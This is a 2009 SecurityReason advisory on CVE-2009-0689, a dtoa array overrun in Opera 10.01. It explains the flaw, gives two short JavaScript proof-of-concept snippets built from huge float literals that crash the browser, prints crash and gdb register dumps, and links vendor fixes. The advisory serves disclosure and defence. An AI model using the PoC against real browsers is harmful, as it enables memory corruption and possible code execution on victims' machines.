Opera 10.01 Remote Array Overrun (Arbitrary code execution) ( Research Advisory )

Advisory Text :

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Hash: SHA1

[ Opera 10.01 Remote Array Overrun (Arbitrary code execution) ]

Author: Maksymilian Arciemowicz and sp3x
http://SecurityReason.com
Date:
- - Dis.: 07.05.2009
- - Pub.: 20.11.2009

CVE: CVE-2009-0689
Risk: High
Remote: Yes

Affected Software:
- - Opera 10.01
- - Opera 10.10 Beta

NOTE: Prior versions may also be affected.

Original URL:
http://securityreason.com/achievement_securityalert/73

- --- 0.Description ---
Opera is a Web browser and Internet suite developed by the Opera Software
company. The browser handles common Internet-related tasks such as
displaying Web sites, sending and receiving e-mail messages, managing
contacts, IRC online chatting, downloading files via BitTorrent, and
reading Web feeds. Opera is offered free of charge for personal computers
and mobile phones.

- --- 1. Opera 10.01 Remote Array Overrun (Arbitrary code execution) ---
The main problem exist in dtoa implementation. Opera has a very similar
dtoa algorithm to the BSD, Chrome and Mozilla products. It is the same
issue like SREASONRES:20090625.

http://securityreason.com/achievement_securityalert/63

but fix for SREASONRES:20090625, used by openbsd was not good.
More information about fix for openbsd and similars SREASONRES:20091030,

http://securityreason.com/achievement_securityalert/69

We can create any number of float, which will overwrite the memory. In Kmax
has defined 15. Functions in dtoa, don't checks Kmax limit, and it is
possible to call 16<= elements of freelist array.

- --- 2. Proof of Concept (PoC) ---

- -----------------------
<script>
var a=0.<?php echo str_repeat("9",299999); ?>;
</script>
- -----------------------

If we use Opera to see this PoC, Opera will crash. For example

- -----------------------
<script>
var a=0.<?php echo str_repeat("1",296450); ?>;
</script>
- -----------------------

OPERA-CRASHLOG V1 desktop 10.01 1844 windows
Opera.exe 1844 caused exception C0000005 at address 67956906 (Base:
400000)

Registers:
EAX=01165C40 EBX=0592064C ECX=A0D589D4 EDX=42000000 ESI=C20471EC
EDI=00000000 EBP=0012E384 ESP=0012E2FC EIP=67956906 FLAGS=00010202
CS=001B DS=0023 SS=0023 ES=0023 FS=003B GS=0000
FPU stack:
C020A38F66534266F000 C020A38F66534266F000 3FFBE38E38E38E38D800
3FC78000000000000000 10000000000100000000 0BBE0000000000040000
00000000000000000000 2EBA804E2FDE00000000 SW=0122 CW=027F

127# gdb -q opera opera.core
...
Program terminated with signal 11, Segmentation fault.
#0 0x2960307b in ?? ()
...
(gdb) i r
eax 0x71c71c71 1908874353
ecx 0x2aa03be4 715144164
edx 0x0 0
ebx 0x296177f8 694253560
esp 0xbfbfb650 0xbfbfb650
ebp 0xbfbfb698 0xbfbfb698
esi 0x2962d000 694341632
edi 0x0 0
eip 0x2960307b 0x2960307b
...
(gdb) x/100x ($esi)-90
0x2962cfa6: 0x71c71c71 0x1c71c71c 0xc71c71c7 0x71c71c71
0x2962cfb6: 0x1c71c71c 0xc71c71c7 0x71c71c71 0x1c71c71c
0x2962cfc6: 0xc71c71c7 0x71c71c71 0x1c71c71c 0xc71c71c7
0x2962cfd6: 0x71c71c71 0x1c71c71c 0xc71c71c7 0x71c71c71
0x2962cfe6: 0x1c71c71c 0xc71c71c7 0x71c71c71 0x1c71c71c
0x2962cff6: 0xc71c71c7 0x71c71c71 Cannot access memory at
address 0x2962cffe
...

- --- 3. SecurityReason Note ---

Officialy SREASONRES:20090625 has been detected in:
- - OpenBSD
- - NetBSD
- - FreeBSD
- - MacOSX
- - Google Chrome
- - Mozilla Firefox
- - Mozilla Seamonkey
- - KDE (example: konqueror)
- - Opera
- - K-Meleon

This list is not yet closed. US-CERT declared that will inform all vendors
about this issue, however, they did not do it. Even greater confusion
caused new CVE number "CVE-2009-1563". Secunia has informed that this
vulnerability was only detected in Mozilla Firefox, but nobody was aware
that the problem affects other products like ( KDE, Chrome ) and it is
based on "CVE-2009-0689". After some time Mozilla Foundation Security
Advisory
("http://www.mozilla.org/security/announce/2009/mfsa2009-59.html")
was updated with note :
"The underlying flaw in the dtoa routines used by Mozilla appears to be
essentially the same as that reported against the libc gdtoa routine by
Maksymilian Arciemowicz ( CVE-2009-0689)".
This fact ( new CVE number for Firefox Vulnerability )and PoC in javascript
(from Secunia), forced us to official notification all other vendors. We
publish all the individual advisories, to formally show all vulnerable
software and to avoid wrong CVE number. We do not see any other way to fix
this issue in all products.

- --- 4. Fix ---
Opera fix:
The vulnerability was fixed in the latest release candidate Opera RC3 :
http://snapshot.opera.com/windows/Opera_1010_1890_in.exe
In shortly time we can expect the final verion of Opera with the fix.

NetBSD fix (optimal):
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h

OpenBSD fix:
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/sum.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtord.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtof.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodg.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtod.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/smisc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/hdtoa.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gethex.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gdtoa.h
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dtoa.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dmisc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdio/vfprintf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/arch/vax/gdtoa/strtof.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtordd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopdd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodnrp.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodI.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIg.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIdd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoId.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/qnan.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xLfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ffmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_dfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ddfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g__fmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_Qfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/arithchk.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/gcvt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/ecvt.c

- --- 5. Credits ---
Discovered by Maksymilian Arciemowicz and sp3x from SecurityReason.com.

- --- 6. Greets ---
Infospec p_e_a pi3

- --- 7. Contact ---
Email:
- - cxib {a.t] securityreason [d0t} com
- - sp3x {a.t] securityreason [d0t} com

GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
- - http://securityreason.com/key/sp3x.gpg

http://securityreason.com/
http://securityreason.pl/

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